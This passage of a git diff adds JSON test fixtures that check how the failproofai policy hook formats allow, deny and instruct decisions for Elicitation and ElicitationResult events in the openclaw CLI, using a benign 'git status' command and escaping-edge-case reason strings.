a/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7e277465 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..25f07de1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c1718d8a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d3477ae1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4c90ee00 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ef35df8c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..46cbaa91 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4319ea81 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b54b642a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b107bb2c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1eef29ea --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0cce63a9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d9f160e0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f257dfdd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1df8b5b9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..aa668262 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..00b4b2f6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..296e0ab7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": 